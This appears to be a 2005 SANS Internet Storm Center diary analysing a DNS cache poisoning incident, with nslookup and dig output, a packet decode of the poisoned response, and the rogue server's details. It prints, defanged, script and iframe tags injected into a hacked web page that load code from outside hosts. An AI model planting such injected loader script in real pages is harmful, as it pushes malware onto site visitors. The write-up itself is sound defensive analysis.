Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: InfoSec Handlers Diary Blog - Internet Storm Center Diary 2005-04-10 InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

DNS cache poisoning, again.

Published: 2005-04-10
Last Updated: 2005-04-11 00:35:42 UTC
by Adrien de Beaupre (Version: 1)
0 comment(s)

Illustrating a particular DNS cache poisoning incident.



Preparation:



Upgrade BIND to the 9 series.

Select the 'Prevent DNS pollution' option in Microsoft DNS.

Have IDS in place and monitor your DNS.


Identification:



31 March 2005.



A user types in www.intelliview.com and two browser windows popped up.
The correct web site briefly appeared, and then disappeared.
www.intelliview.com is a valid commercial software
development company who's web server was obviously modified
by someone not authorized to do so. Probably hacked.


Here is a code snippet found at the bottom of their web
page at the time:



-head--title-404 Not Found-/title--/head--body--script language="JavaScript" src="http://vparivalka.org/G7/anticheatsys.php?id=36381" type="text/JavaScript"--/script--h1-Not Found-/h1-The requested URL was not found on this server.-p-
-/body--/html--iframe src="http://www.web-search.la/" width=700 height=570--/iframe-



The two apparent browser windows that popped up were showing:


http:// find-it.web-search.la /
and

http:// www.lycos.la /



On top of that the anti-virus on the workstation was going
berserk. There had been numerous attempts to install malware
by one or more of the web servers that the workstation had been
redirected to. At this point it appeared as though the system
may have been already infected or the web browser had been hijacked.
The user closed all browser windows and tried the same web site
again. The correct web site did not appear at all, one of the two
invalid web sites would appear every time the user tried to
connect. The user had wanted to download their demo version.



nslookup on the Windows 2000 Workstation showed the following
results when queried:


C:\Documents and Settings\user>nslookup intelliview.com

Server: black

Address: 10.0.0.1



Non-authoritative answer:

Name: intelliview.com

Address: 63.215.142.7



C:\Documents and Settings\user>nslookup www.intelliview.com

Server: black

Address: 10.0.0.1



Non-authoritative answer:

Name: www.intelliview.com

Addresses: 205.162.201.11, 217.16.26.148



The DNS server was running Windows 2000, fully patched, with cache pollution
protection turned on. When the cache was flushed everything went back
to normal.



C:\Documents and Settings\cyber>nslookup www.intelliview.com

Server: black

Address: 10.0.0.1



Non-authoritative answer:

Name: www.intelliview.com

Address: 63.215.142.7



C:\Documents and Settings\cyber>nslookup intelliview.com

Server: black

Address: 10.0.0.1




Non-authoritative answer:

Name: intelliview.com

Address: 63.215.142.7




The next step was to clear the DNS cache again, and set up
a tcpdump listener to capture all DNS traffic between the
DNS server and the Internet.


Here is the culprit packet where the DNS cache poisoning
actually occurred:


Frame 92 (150 bytes on wire, 150 bytes captured)
Arrival Time: Mar 31, 2005 13:20:25.881726000
Time delta from previous packet: 0.000024000 seconds
Time since reference or first frame: 125.702602000 seconds
Frame Number: 92
Packet Length: 150 bytes
Capture Length: 150 bytes
Ethernet II, Src: 00:02:a5:64:e9:9b, Dst: 00:04:5a:73:d7:a6
Destination: 00:04:5a:73:d7:a6 (LinksysG_73:d7:a6)
Source: 00:02:a5:64:e9:9b (CompaqCo_64:e9:9b)
Type: IP (0x0800)
Internet Protocol, Src Addr: 172.16.1.1 (172.16.1.1), Dst Addr: 172.16.1.254 (172.16.1.254)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
0000 00.. = Differentiated Services Codepoint: Default (0x00)
.... ..0. = ECN-Capable Transport (ECT): 0
.... ...0 = ECN-CE: 0
Total Length: 136
Identification: 0x0000 (0)
Flags: 0x04 (Don't Fragment)
0... = Reserved bit: Not set
.1.. = Don't fragment: Set
..0. = More fragments: Not set
Fragment offset: 0
Time to live: 64
Protocol: UDP (0x11)
Header checksum: 0xdf45 (correct)
Source: 172.16.1.1 (172.16.1.1)
Destination: 172.16.1.254 (172.16.1.254)
User Datagram Protocol, Src Port: domain (53), Dst Port: 30596 (30596)
Source port: domain (53)
Destination port: 30596 (30596)
Length: 116
Checksum: 0xc3a5 (correct)
Domain Name System (response)
Transaction ID: 0x13aa
Flags: 0x8180 (Standard query response, No error)
1... .... .... .... = Response: Message is a response
.000 0... .... .... = Opcode: Standard query (0)
.... .0.. .... .... = Authoritative: Server is not an authority for domain
.... ..0. .... .... = Truncated: Message is not truncated
.... ...1 .... .... = Recursion desired: Do query recursively
.... .... 1... .... = Recursion available: Server can do recursive queries
.... .... .0.. .... = Z: reserved (0)
.... .... ..0. .... = Answer authenticated: Answer/authority portion was not authenticated by the server
.... .... .... 0000 = Reply code: No error (0)
Questions: 1
Answer RRs: 2
Authority RRs: 2
Additional RRs: 0
Queries
www.abx4.com: type A, class inet
Name: www.abx4.com
Type: Host address
Class: inet
Answers
www.abx4.com: type A, class inet, addr 205.162.201.11
Name: www.abx4.com
Type: Host address
Class: inet
Time to live: 6 minutes
Data length: 4
Addr: 205.162.201.11
www.abx4.com: type A, class inet, addr 217.16.26.148
Name: www.abx4.com
Type: Host address
Class: inet
Time to live: 6 minutes
Data length: 4
Addr: 217.16.26.148
Authoritative nameservers
abx4.com: type NS, class inet, ns ns1.take4look.com
Name: abx4.com
Type: Authoritative name server
Class: inet
Time to live: 1 day, 23 hours, 59 minutes, 58 seconds
Data length: 16
Name server: ns1.take4look.com
abx4.com: type NS, class inet, ns ns2.take4look.com
Name: abx4.com
Type: Authoritative name server
Class: inet
Time to live: 1 day, 23 hours, 59 minutes, 58 seconds
Data length: 6
Name server: ns2.take4look.com

0000 00 04 5a 73 d7 a6 00 02 a5 64 e9 9b 08 00 45 00 ..Zs.....d....E.
0010 00 88 00 00 40 00 40 11 df 45 ac 10 01 01 ac 10 ....@.@..E......
0020 01 fe 00 35 77 84 00 74 c3 a5 13 aa 81 80 00 01 ...5w..t........
0030 00 02 00 02 00 00 03 77 77 77 04 61 62 78 34 03 .......www.abx4.
0040 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 com.............
0050 01 68 00 04 cd a2 c9 0b c0 0c 00 01 00 01 00 00 .h..............
0060 01 68 00 04 d9 10 1a 94 c0 10 00 02 00 01 00 02 .h..............
0070 a2 fe 00 10 03 6e 73 31 09 74 61 6b 65 34 6c 6f .....ns1.take4lo
0080 6f 6b c0 15 c0 10 00 02 00 01 00 02 a2 fe 00 06 ok..............
0090 03 6e 73 32 c0 4e .ns2.N



From a totally different network an nsookup query to
the culprit DNS server provided the following results:



C:\>nslookup

Default Server: DNS.server

Address: 172.16.1.1




> server 218.38.13.108

Default Server: [218.38.13.108]

Address: 218.38.13.108




> www.cnn.com

Server: [218.38.13.108]

Address: 218.38.13.108




Name: www.cnn.com

Addresses: 205.162.201.11, 217.16.26.148




Any .com query to this DNS server would return the same results.
Again from a different network dig provided another interesting
set of answers:



; <<>> DiG 9.2.4 <<>> www.cnn.com @218.38.13.108
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59667
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 1, ADDITIONAL: 1


;; QUESTION SECTION:
;www.cnn.com. IN A


;; ANSWER SECTION:
www.cnn.com. 99999 IN A 205.162.201.11
www.cnn.com. 99999 IN A 217.16.26.148


;; AUTHORITY SECTION:
com. 99999 IN NS besthost.co.kr.


;; ADDITIONAL SECTION:
besthost.co.kr. 1800 IN A 218.38.13.108md




Note the rather interesting TTL.
This server responded as authoritative for ANY and ALL .coms
at the time.



1 April 2005



The same DNS server was still doing cache poisoning:



H:\>nslookup

Default Server: DNS.server

Address: 172.16.1.1




> server 218.38.13.108

Default Server: [218.38.13.108]

Address: 218.38.13.108




> www.google.com

Server: [218.38.13.108]

Address: 218.38.13.108




Name: www.google.com

Addresses: 216.55.185.46, 72.9.233.153




> www.cnn.com

Server: [218.38.13.108]

Address: 218.38.13.108




Name: www.cnn.com

Addresses: 72.9.233.153, 216.55.185.46




Containment, eradication, recovery, and lessons learned
to follow.



Conclusion:
DNS cache poisoning was in fact happening.

Surprise!

Other than that it has been a rather quiet day on the Internet today.



Cheers,
Adrien de Beaupré, handler of the day.
Keywords:
0 comment(s)
Diary Archives